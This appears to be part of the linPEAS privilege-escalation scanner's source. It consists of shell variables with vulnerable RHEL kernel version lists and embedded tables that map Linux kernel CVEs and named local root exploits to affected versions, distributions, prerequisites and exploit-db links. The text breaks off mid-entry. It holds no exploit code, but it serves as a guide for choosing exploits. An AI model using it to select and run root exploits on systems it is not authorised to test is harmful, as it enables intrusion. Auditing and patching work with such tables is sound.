kernelDCW_Rhel6_3="2.6.32-279.41.1.el6|2.6.32-279.42.1.el6|2.6.32-279.43.1.el6|2.6.32-279.43.2.el6|2.6.32-279.46.1.el6|2.6.32-358.el6|2.6.32-358.0.1.el6|2.6.32-358.2.1.el6|2.6.32-358.6.1.el6|2.6.32-358.6.2.el6|2.6.32-358.6.3.p7ih.el6|2.6.32-358.11.1.bgq.el6|2.6.32-358.11.1.el6|2.6.32-358.14.1.el6|2.6.32-358.18.1.el6|2.6.32-358.23.2.el6|2.6.32-358.28.1.el6|2.6.32-358.32.3.el6|2.6.32-358.37.1.el6|2.6.32-358.41.1.el6|2.6.32-358.44.1.el6|2.6.32-358.46.1.el6|2.6.32-358.46.2.el6|2.6.32-358.48.1.el6|2.6.32-358.49.1.el6|2.6.32-358.51.1.el6|2.6.32-358.51.2.el6|2.6.32-358.55.1.el6|2.6.32-358.56.1.el6|2.6.32-358.59.1.el6|2.6.32-358.61.1.el6|2.6.32-358.62.1.el6|2.6.32-358.65.1.el6|2.6.32-358.67.1.el6|2.6.32-358.68.1.el6|2.6.32-358.69.1.el6|2.6.32-358.70.1.el6|2.6.32-358.71.1.el6|2.6.32-358.72.1.el6|2.6.32-358.73.1.el6|2.6.32-358.111.1.openstack.el6|2.6.32-358.114.1.openstack.el6|2.6.32-358.118.1.openstack.el6|2.6.32-358.123.4.openstack.el6|2.6.32-431.el6|2.6.32-431.1.1.bgq.el6|2.6.32-431.1.2.el6|2.6.32-431.3.1.el6|2.6.32-431.5.1.el6|2.6.32-431.11.2.el6|2.6.32-431.17.1.el6|2.6.32-431.20.3.el6|2.6.32-431.20.5.el6|2.6.32-431.23.3.el6|2.6.32-431.29.2.el6|2.6.32-431.37.1.el6|2.6.32-431.40.1.el6|2.6.32-431.40.2.el6|2.6.32-431.46.2.el6|2.6.32-431.50.1.el6|2.6.32-431.53.2.el6|2.6.32-431.56.1.el6|2.6.32-431.59.1.el6|2.6.32-431.61.2.el6|2.6.32-431.64.1.el6|2.6.32-431.66.1.el6|2.6.32-431.68.1.el6|2.6.32-431.69.1.el6|2.6.32-431.70.1.el6" kernelDCW_Rhel6_4="2.6.32-431.71.1.el6|2.6.32-431.72.1.el6|2.6.32-431.73.2.el6|2.6.32-431.74.1.el6|2.6.32-504.el6|2.6.32-504.1.3.el6|2.6.32-504.3.3.el6|2.6.32-504.8.1.el6|2.6.32-504.8.2.bgq.el6|2.6.32-504.12.2.el6|2.6.32-504.16.2.el6|2.6.32-504.23.4.el6|2.6.32-504.30.3.el6|2.6.32-504.30.5.p7ih.el6|2.6.32-504.33.2.el6|2.6.32-504.36.1.el6|2.6.32-504.38.1.el6|2.6.32-504.40.1.el6|2.6.32-504.43.1.el6|2.6.32-504.46.1.el6|2.6.32-504.49.1.el6|2.6.32-504.50.1.el6|2.6.32-504.51.1.el6|2.6.32-504.52.1.el6|2.6.32-573.el6|2.6.32-573.1.1.el6|2.6.32-573.3.1.el6|2.6.32-573.4.2.bgq.el6|2.6.32-573.7.1.el6|2.6.32-573.8.1.el6|2.6.32-573.12.1.el6|2.6.32-573.18.1.el6|2.6.32-573.22.1.el6|2.6.32-573.26.1.el6|2.6.32-573.30.1.el6|2.6.32-573.32.1.el6|2.6.32-573.34.1.el6|2.6.32-642.el6|2.6.32-642.1.1.el6|2.6.32-642.3.1.el6|2.6.32-642.4.2.el6|2.6.32-642.6.1.el6" kernelDCW_Rhel7="3.10.0-229.rt56.141.el7|3.10.0-229.1.2.rt56.141.2.el7_1|3.10.0-229.4.2.rt56.141.6.el7_1|3.10.0-229.7.2.rt56.141.6.el7_1|3.10.0-229.11.1.rt56.141.11.el7_1|3.10.0-229.14.1.rt56.141.13.el7_1|3.10.0-229.20.1.rt56.141.14.el7_1|3.10.0-229.rt56.141.el7|3.10.0-327.rt56.204.el7|3.10.0-327.4.5.rt56.206.el7_2|3.10.0-327.10.1.rt56.211.el7_2|3.10.0-327.13.1.rt56.216.el7_2|3.10.0-327.18.2.rt56.223.el7_2|3.10.0-327.22.2.rt56.230.el7_2|3.10.0-327.28.2.rt56.234.el7_2|3.10.0-327.28.3.rt56.235.el7|3.10.0-327.36.1.rt56.237.el7|3.10.0-123.el7|3.10.0-123.1.2.el7|3.10.0-123.4.2.el7|3.10.0-123.4.4.el7|3.10.0-123.6.3.el7|3.10.0-123.8.1.el7|3.10.0-123.9.2.el7|3.10.0-123.9.3.el7|3.10.0-123.13.1.el7|3.10.0-123.13.2.el7|3.10.0-123.20.1.el7|3.10.0-229.el7|3.10.0-229.1.2.el7|3.10.0-229.4.2.el7|3.10.0-229.7.2.el7|3.10.0-229.11.1.el7|3.10.0-229.14.1.el7|3.10.0-229.20.1.el7|3.10.0-229.24.2.el7|3.10.0-229.26.2.el7|3.10.0-229.28.1.el7|3.10.0-229.30.1.el7|3.10.0-229.34.1.el7|3.10.0-229.38.1.el7|3.10.0-229.40.1.el7|3.10.0-229.42.1.el7|3.10.0-327.el7|3.10.0-327.3.1.el7|3.10.0-327.4.4.el7|3.10.0-327.4.5.el7|3.10.0-327.10.1.el7|3.10.0-327.13.1.el7|3.10.0-327.18.2.el7|3.10.0-327.22.2.el7|3.10.0-327.28.2.el7|3.10.0-327.28.3.el7|3.10.0-327.36.1.el7|3.10.0-327.36.2.el7|3.10.0-229.1.2.ael7b|3.10.0-229.4.2.ael7b|3.10.0-229.7.2.ael7b|3.10.0-229.11.1.ael7b|3.10.0-229.14.1.ael7b|3.10.0-229.20.1.ael7b|3.10.0-229.24.2.ael7b|3.10.0-229.26.2.ael7b|3.10.0-229.28.1.ael7b|3.10.0-229.30.1.ael7b|3.10.0-229.34.1.ael7b|3.10.0-229.38.1.ael7b|3.10.0-229.40.1.ael7b|3.10.0-229.42.1.ael7b|4.2.0-0.21.el7" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/kernel_cve_registry_data.sh ================================================ # Title: Variables - kernel_cve_registry_data # ID: kernel_cve_registry_data # Author: Carlos Polop # Last Update: 25-02-2026 # Description: Embedded kernel exploit matching datasets extracted from linux-exploit-suggester and linux-exploit-suggester-2 examples. Data is split across KERNEL_CVE_DATA_1..X with a maximum of 25 rows per env variable. This file also stores reference-only CVE tokens found in example repos when no explicit suggester matching rule exists. # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $KERNEL_CVE_DATA_1, $KERNEL_CVE_DATA_2, $KERNEL_CVE_DATA_3, $KERNEL_CVE_DATA_4, $KERNEL_CVE_DATA_5, $KERNEL_CVE_DATA_6, $KERNEL_CVE_DATA_7, $KERNEL_CVE_DATA_8, $KERNEL_CVE_DATA_9, $KERNEL_CVE_DATA_10, $KERNEL_CVE_DATA_11, $KERNEL_CVE_DATA_12, $KERNEL_CVE_DATA_13, $KERNEL_CVE_DATA_14, $KERNEL_CVE_DATA_15, $KERNEL_CVE_DATA_16, $KERNEL_CVE_DATA_17, $KERNEL_CVE_DATA_18, $KERNEL_CVE_DATA_19, $KERNEL_CVE_DATA_20, $KERNEL_CVE_DATA_21 # Fat linpeas: 0 # Small linpeas: 1 # Max 25 rows per env variable to avoid hitting env variable size limits. KERNEL_CVE_DATA_1="$(cat <<'EOF_DATA_1' CVE-2004-1235 elflbl pkg=linux-kernel,ver=2.4.29 1 CVE-2004-1235 uselib() pkg=linux-kernel,ver=2.4.29 1 Known to work only for 2.4 series (even though 2.6 is also vulnerable) CVE-2004-1235 krad3 pkg=linux-kernel,ver>=2.6.5,ver<=2.6.11 1 CVE-2004-0077 mremap_pte pkg=linux-kernel,ver>=2.6.0,ver<=2.6.2 1 CVE-2006-2451 raptor_prctl pkg=linux-kernel,ver>=2.6.13,ver<=2.6.17 1 CVE-2006-2451 prctl pkg=linux-kernel,ver>=2.6.13,ver<=2.6.17 1 CVE-2006-2451 prctl2 pkg=linux-kernel,ver>=2.6.13,ver<=2.6.17 1 CVE-2006-2451 prctl3 pkg=linux-kernel,ver>=2.6.13,ver<=2.6.17 1 CVE-2006-2451 prctl4 pkg=linux-kernel,ver>=2.6.13,ver<=2.6.17 1 CVE-2006-3626 h00lyshit pkg=linux-kernel,ver>=2.6.8,ver<=2.6.16 1 CVE-2008-0600 vmsplice1 pkg=linux-kernel,ver>=2.6.17,ver<=2.6.24 1 CVE-2008-0600 vmsplice2 pkg=linux-kernel,ver>=2.6.23,ver<=2.6.24 1 CVE-2008-4210 ftrex pkg=linux-kernel,ver>=2.6.11,ver<=2.6.22 1 world-writable sgid directory and shell that does not drop sgid privs upon exec (ash/sash) are required CVE-2008-4210 exit_notify pkg=linux-kernel,ver>=2.6.25,ver<=2.6.29 1 CVE-2009-2692 sock_sendpage (simple version) pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30 ubuntu=7.10,RHEL=4,fedora=4|5|6|7|8|9|10|11 1 Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 CVE-2009-2692,CVE-2009-1895 sock_sendpage pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30 ubuntu=9.04 1 /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed CVE-2009-2692,CVE-2009-1895 sock_sendpage2 pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30 1 Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 CVE-2009-2692,CVE-2009-1895 sock_sendpage3 pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30 1 /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed CVE-2009-2692,CVE-2009-1895 sock_sendpage (ppc) pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30 ubuntu=8.10,RHEL=4|5 1 /proc/sys/vm/mmap_min_addr needs to equal 0 CVE-2009-2698 the rebel (udp_sendmsg) pkg=linux-kernel,ver>=2.6.1,ver<=2.6.19 debian=4 1 /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed CVE-2009-2698 hoagie_udp_sendmsg pkg=linux-kernel,ver>=2.6.1,ver<=2.6.19,x86 debian=4 1 Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 CVE-2009-2698 katon (udp_sendmsg) pkg=linux-kernel,ver>=2.6.1,ver<=2.6.19,x86 debian=4 1 Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 CVE-2009-2698 ip_append_data pkg=linux-kernel,ver>=2.6.1,ver<=2.6.19,x86 fedora=4|5|6,RHEL=4 1 Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 CVE-2009-3547 pipe.c 1 pkg=linux-kernel,ver>=2.6.0,ver<=2.6.31 1 CVE-2009-3547 pipe.c 2 pkg=linux-kernel,ver>=2.6.0,ver<=2.6.31 1 EOF_DATA_1 )" KERNEL_CVE_DATA_2="$(cat <<'EOF_DATA_2' CVE-2009-3547 pipe.c 3 pkg=linux-kernel,ver>=2.6.0,ver<=2.6.31 1 CVE-2010-3301 ptrace_kmod2 pkg=linux-kernel,ver>=2.6.26,ver<=2.6.34 debian=6.0{kernel:2.6.(32|33|34|35)-(1|2|trunk)-amd64},ubuntu=(10.04|10.10){kernel:2.6.(32|35)-(19|21|24)-server} 1 CVE-2010-1146 reiserfs pkg=linux-kernel,ver>=2.6.18,ver<=2.6.34 ubuntu=9.10 1 CVE-2010-2959 can_bcm pkg=linux-kernel,ver>=2.6.18,ver<=2.6.36 ubuntu=10.04{kernel:2.6.32-24-generic} 1 CVE-2010-3904 rds pkg=linux-kernel,ver>=2.6.30,ver<2.6.37 debian=6.0{kernel:2.6.(31|32|34|35)-(1|trunk)-amd64},ubuntu=10.10|9.10,fedora=13{kernel:2.6.33.3-85.fc13.i686.PAE},ubuntu=10.04{kernel:2.6.32-(21|24)-generic} 1 CVE-2010-3848,CVE-2010-3850,CVE-2010-4073 half_nelson pkg=linux-kernel,ver>=2.6.0,ver<=2.6.36 ubuntu=(10.04|9.10){kernel:2.6.(31|32)-(14|21)-server} 1 N/A caps_to_root pkg=linux-kernel,ver>=2.6.34,ver<=2.6.36,x86 ubuntu=10.10 1 N/A caps_to_root 2 pkg=linux-kernel,ver>=2.6.34,ver<=2.6.36 ubuntu=10.10 1 CVE-2010-4347 american-sign-language pkg=linux-kernel,ver>=2.6.0,ver<=2.6.36 1 CVE-2010-3437 pktcdvd pkg=linux-kernel,ver>=2.6.0,ver<=2.6.36 ubuntu=10.04 1 CVE-2010-3081 video4linux pkg=linux-kernel,ver>=2.6.0,ver<=2.6.33 RHEL=5 1 CVE-2012-0056 memodipper pkg=linux-kernel,ver>=3.0.0,ver<=3.1.0 ubuntu=(10.04|11.10){kernel:3.0.0-12-(generic|server)} 1 CVE-2012-0056,CVE-2010-3849,CVE-2010-3850 full-nelson pkg=linux-kernel,ver>=2.6.0,ver<=2.6.36 ubuntu=(9.10|10.10){kernel:2.6.(31|35)-(14|19)-(server|generic)},ubuntu=10.04{kernel:2.6.32-(21|24)-server} 1 CVE-2013-1858 CLONE_NEWUSER|CLONE_FS pkg=linux-kernel,ver=3.8,CONFIG_USER_NS=y 1 CONFIG_USER_NS needs to be enabled CVE-2013-2094 perf_swevent pkg=linux-kernel,ver>=2.6.32,ver<3.8.9,x86_64 RHEL=6,ubuntu=12.04{kernel:3.2.0-(23|29)-generic},fedora=16{kernel:3.1.0-7.fc16.x86_64},fedora=17{kernel:3.3.4-5.fc17.x86_64},debian=7{kernel:3.2.0-4-amd64} 1 No SMEP/SMAP bypass CVE-2013-2094 perf_swevent 2 pkg=linux-kernel,ver>=2.6.32,ver<3.8.9,x86_64 ubuntu=12.04{kernel:3.(2|5).0-(23|29)-generic} 1 No SMEP/SMAP bypass CVE-2013-0268 msr pkg=linux-kernel,ver>=2.6.18,ver<3.7.6 1 CVE-2013-1959 userns_root_sploit pkg=linux-kernel,ver>=3.0.1,ver<3.8.9 1 CVE-2013-2094 semtex pkg=linux-kernel,ver>=2.6.32,ver<3.8.9 RHEL=6 1 CVE-2014-0038 timeoutpwn pkg=linux-kernel,ver>=3.4.0,ver<=3.13.1,CONFIG_X86_X32=y ubuntu=13.10 1 CONFIG_X86_X32 needs to be enabled CVE-2014-0038 timeoutpwn 2 pkg=linux-kernel,ver>=3.4.0,ver<=3.13.1,CONFIG_X86_X32=y ubuntu=(13.04|13.10){kernel:3.(8|11).0-(12|15|19)-generic} 1 CONFIG_X86_X32 needs to be enabled CVE-2014-0196 rawmodePTY pkg=linux-kernel,ver>=2.6.31,ver<=3.14.3 1 CVE-2014-2851 use-after-free in ping_init_sock() (DoS) pkg=linux-kernel,ver>=3.0.1,ver<=3.14 0 CVE-2014-4014 inode_capable pkg=linux-kernel,ver>=3.0.1,ver<=3.13 ubuntu=12.04 1 CVE-2014-4699 ptrace/sysret pkg=linux-kernel,ver>=3.0.1,ver<=3.8 ubuntu=12.04 1 EOF_DATA_2 )" KERNEL_CVE_DATA_3="$(cat <<'EOF_DATA_3' CVE-2014-4943 PPPoL2TP (DoS) pkg=linux-kernel,ver>=3.2,ver<=3.15.6 1 CVE-2014-5207 fuse_suid pkg=linux-kernel,ver>=3.0.1,ver<=3.16.1 1 CVE-2015-9322 BadIRET pkg=linux-kernel,ver>=3.0.1,ver<3.17.5,x86_64 RHEL<=7,fedora=20 1 CVE-2015-3290 espfix64_NMI pkg=linux-kernel,ver>=3.13,ver<4.1.6,x86_64 1 N/A bluetooth pkg=linux-kernel,ver<=2.6.11 1 CVE-2015-1328 overlayfs pkg=linux-kernel,ver>=3.13.0,ver<=3.19.0 ubuntu=(12.04|14.04){kernel:3.13.0-(2|3|4|5)*-generic},ubuntu=(14.10|15.04){kernel:3.(13|16).0-*-generic} 1 CVE-2015-8660 overlayfs (ovl_setattr) pkg=linux-kernel,ver>=3.0.0,ver<=4.3.3 1 CVE-2015-8660 overlayfs (ovl_setattr) pkg=linux-kernel,ver>=3.0.0,ver<=4.3.3 ubuntu=(14.04|15.10){kernel:4.2.0-(18|19|20|21|22)-generic} 1 CVE-2016-0728 keyring pkg=linux-kernel,ver>=3.10,ver<4.4.1 0 Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-working CVE-2016-2384 usb-midi pkg=linux-kernel,ver>=3.0.0,ver<=4.4.8 ubuntu=14.04,fedora=22 1 Requires ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user CVE-2016-4997 target_offset pkg=linux-kernel,ver>=4.4.0,ver<=4.4.0,cmd:grep -qi ip_tables /proc/modules ubuntu=16.04{kernel:4.4.0-21-generic} 1 ip_tables.ko needs to be loaded CVE-2016-4557 double-fdput() pkg=linux-kernel,ver>=4.4,ver<4.5.5,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unprivileged_bpf_disabled!=1 ubuntu=16.04{kernel:4.4.0-21-generic} 1 CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1 CVE-2016-5195 dirtycow pkg=linux-kernel,ver>=2.6.22,ver<=4.8.3 debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},ubuntu=16.04|14.04|12.04 4 For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh CVE-2016-5195 dirtycow 2 pkg=linux-kernel,ver>=2.6.22,ver<=4.8.3 debian=7|8,RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic} 4 For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh CVE-2016-8655 chocobo_root pkg=linux-kernel,ver>=4.4.0,ver<4.9,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 ubuntu=(14.04|16.04){kernel:4.4.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic} 1 CAP_NET_RAW capability is needed OR CONFIG_USER_NS=y needs to be enabled CVE-2016-9793 SO_{SND|RCV}BUFFORCE pkg=linux-kernel,ver>=3.11,ver<4.8.14,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 1 CAP_NET_ADMIN caps OR CONFIG_USER_NS=y needed. No SMEP/SMAP/KASLR bypass included. Tested in QEMU only CVE-2017-6074 dccp pkg=linux-kernel,ver>=2.6.18,ver<=4.9.11,CONFIG_IP_DCCP=[my] ubuntu=(14.04|16.04){kernel:4.4.0-62-generic} 1 Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass CVE-2017-7308 af_packet pkg=linux-kernel,ver>=3.2,ver<=4.10.6,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 ubuntu=16.04{kernel:4.8.0-(34|36|39|41|42|44|45)-generic} 1 CAP_NET_RAW cap or CONFIG_USER_NS=y needed. Modified version at 'ext-url' adds support for additional kernels CVE-2017-16995 eBPF_verifier pkg=linux-kernel,ver>=4.4,ver<=4.14.8,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unprivileged_bpf_disabled!=1 debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,ubuntu=14.04{kernel:4.4.0-89-generic},ubuntu=(16.04|17.04){kernel:4.(8|10).0-(19|28|45)-generic} 5 CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1 CVE-2017-1000112 NETIF_F_UFO pkg=linux-kernel,ver>=4.4,ver<=4.13,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 ubuntu=14.04{kernel:4.4.0-*},ubuntu=16.04{kernel:4.8.0-*} 1 CAP_NET_ADMIN cap or CONFIG_USER_NS=y needed. SMEP/KASLR bypass included. Modified version at 'ext-url' adds support for additional distros/kernels CVE-2017-1000253 PIE_stack_corruption pkg=linux-kernel,ver>=3.2,ver<=4.13,x86_64 RHEL=6,RHEL=7{kernel:3.10.0-514.21.2|3.10.0-514.26.1} 1 CVE-2018-5333 rds_atomic_free_op NULL pointer dereference pkg=linux-kernel,ver>=4.4,ver<=4.14.13,cmd:grep -qi rds /proc/modules,x86_64 ubuntu=16.04{kernel:4.4.0|4.8.0} 1 rds.ko kernel module needs to be loaded. Modified version at 'ext-url' adds support for additional targets and bypassing KASLR. CVE-2018-14634 Mutagen Astronomy pkg=linux-kernel,x86_64,ver>=4.14.1,ver<=4.14.54 debian=8,RHEL=6|7 1 systems with less than 32GB of RAM are unlikely to be affected by this issue CVE-2018-18955 subuid_shell pkg=linux-kernel,ver>=4.15,ver<=4.19.2,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1,cmd:[ -u /usr/bin/newuidmap ],cmd:[ -u /usr/bin/newgidmap ] ubuntu=18.04{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28} 1 CONFIG_USER_NS needs to be enabled CVE-2019-13272 PTRACE_TRACEME pkg=linux-kernel,ver>=4,ver<5.1.17,sysctl:kernel.yama.ptrace_scope==0,x86_64 ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*} 1 Requires an active PolKit agent. EOF_DATA_3 )" KERNEL_CVE_DATA_4="$(cat <<'EOF_DATA_4' CVE-2019-15666 XFRM_UAF pkg=linux-kernel,ver>=3,ver<5.0.19,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1,CONFIG_XFRM=y 1 CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled CVE-2021-27365 linux-iscsi pkg=linux-kernel,ver<=5.11.3,CONFIG_SLAB_FREELIST_HARDENED!=y RHEL=8 1 CONFIG_SLAB_FREELIST_HARDENED must not be enabled CVE-2021-3490 eBPF ALU32 bounds tracking for bitwise ops pkg=linux-kernel,ver>=5.7,ver<5.12,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unprivileged_bpf_disabled!=1 ubuntu=20.04{kernel:5.8.0-(25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52)-*},ubuntu=21.04{kernel:5.11.0-16-*} 5 CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1 CVE-2021-3493 Ubuntu OverlayFS pkg=linux-kernel,ver>=3.13,ver<5.14,x86_64 ubuntu=(14.04|16.04|18.04|20.04|20.10) 1 Only Ubuntu is affected. CVE-2021-22555 Netfilter heap out-of-bounds write pkg=linux-kernel,ver>=2.6.19,ver<=5.12-rc6 ubuntu=20.04{kernel:5.8.0-*} 1 ip_tables kernel module must be loaded CVE-2022-0847 DirtyPipe pkg=linux-kernel,ver>=5.8,ver<=5.16.11 ubuntu=(20.04|21.04),debian=11 1 CVE-2022-0995 watch_queue pkg=linux-kernel,ver>=5.8,ver<5.16.5,x86_64 ubuntu=21.10{kernel:5.13.0.37-generic} 1 Not 100% reliable, may need to be run a couple of times. It rare cases it may panic the kernel. CVE-2022-2586 nft_object UAF pkg=linux-kernel,ver>=5.12,ver<5.19,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 ubuntu=(20.04){kernel:5.12.13} 1 kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN) CVE-2022-32250 nft_object UAF (NFT_MSG_NEWSET) pkg=linux-kernel,ver<5.18.1,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 ubuntu=(22.04){kernel:5.15.0-27-generic} 1 kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN) CVE-2023-0386 OverlayFS suid smuggle pkg=linux-kernel,ver>=5.11,ver<=6.2,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 ubuntu=22.04.1{kernel:5.15.0-57-generic} 1 CONFIG_USER_NS needs to be enabled && kernel.unprivileged_userns_clone=1 required CVE-2024-1086 double-free in nf_tables pkg=linux-kernel,x86_64,ver>=5.14,ver<=6.6,CONFIG_NF_TABLES=y,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 debian=12,ubuntu=22.04 1 CONFIG_USER_NS and CONFIG_NF_TABLES need to be enabled && kernel.unprivileged_userns_clone=1 required CVE-2021-3560 Polkit race authentication bypass cmd:sh -c "apt list --installed 2>/dev/null | grep -E 'polkit.*0\\.105-26' | grep -qEv 'ubuntu1\\.[1-9]' || yum list installed 2>/dev/null | grep -qE 'polkit.*\\(0\\.117-2\\|0\\.115-6\\|0\\.11[3-9]\\)' || rpm -qa 2>/dev/null | grep -qE 'polkit.*\\(0\\.117-2\\|0\\.115-6\\|0\\.11[3-9]\\)'" 1 Migrated from former standalone 1_system_information check CVE-2025-38236 AF_UNIX MSG_OOB UAF pkg=linux-kernel,ver>=6.9.0 1 Migrated from former standalone 1_system_information check CVE-2025-38352 POSIX CPU timers race pkg=linux-kernel,ver>=6.12,ver<6.12.34,CONFIG_POSIX_CPU_TIMERS_TASK_WORK!=y 1 Migrated from former standalone 1_system_information check af_packet 2016-8655 4.4.0 http://www.exploit-db.com/exploits/40871 american-sign-language 2010-4347 2.6.0,2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36 http://www.securityfocus.com/bid/45408 ave 2.4.19,2.4.20 brk 2.4.10,2.4.18,2.4.19,2.4.20,2.4.21,2.4.22 can_bcm 2010-2959 2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36 http://www.exploit-db.com/exploits/14814 caps_to_root n/a 2.6.34,2.6.35,2.6.36 http://www.exploit-db.com/exploits/15916 clone_newuser N\A 3.3.5,3.3.4,3.3.2,3.2.13,3.2.9,3.2.1,3.1.8,3.0.5,3.0.4,3.0.2,3.0.1,3.2,3.0.1,3.0 http://www.exploit-db.com/exploits/38390 dirty_cow 2016-5195 2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36,2.6.37,2.6.38,2.6.39,3.0.0,3.0.1,3.0.2,3.0.3,3.0.4,3.0.5,3.0.6,3.1.0,3.2.0,3.3.0,3.4.0,3.5.0,3.6.0,3.7.0,3.7.6,3.8.0,3.9.0 http://www.exploit-db.com/exploits/40616 CVE-2010-0415 do_pages_move 2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31 sieve 1 Spenders Enlightenment elfcd 2.6.12 elfdump 2.4.27 EOF_DATA_4 )" KERNEL_CVE_DATA_5="$(cat <<'EOF_DATA_5' elflbl 2.4.29 http://www.exploit-db.com/exploits/744 exit_notify 2.6.25,2.6.26,2.6.27,2.6.28,2.6.29 http://www.exploit-db.com/exploits/8369 exp.sh 2.6.9,2.6.10,2.6.16,2.6.13 expand_stack 2.4.29 CVE-2018-14665 exploit_x 2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36,2.6.37,2.6.38,2.6.39,3.0.0,3.0.1,3.0.2,3.0.3,3.0.4,3.0.5,3.0.6,3.1.0,3.2.0,3.3.0,3.4.0,3.5.0,3.6.0,3.7.0,3.7.6,3.8.0,3.9.0,3.10.0,3.11.0,3.12.0,3.13.0,3.14.0,3.15.0,3.16.0,3.17.0,3.18.0,3.19.0,4.0.0,4.1.0,4.2.0,4.3.0,4.4.0,4.5.0,4.6.0,4.7.0 1 http://www.exploit-db.com/exploits/45697 ftrex 2008-4210 2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22 http://www.exploit-db.com/exploits/6851 CVE-2017-16695 get_rekt 4.4.0,4.8.0,4.10.0,4.13.0 1 http://www.exploit-db.com/exploits/45010 h00lyshit 2006-3626 2.6.8,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16 http://www.exploit-db.com/exploits/2013 half_nelson1 2010-3848 2.6.0,2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36 econet http://www.exploit-db.com/exploits/17787 half_nelson2 2010-3850 2.6.0,2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36 econet http://www.exploit-db.com/exploits/17787 half_nelson3 2010-4073 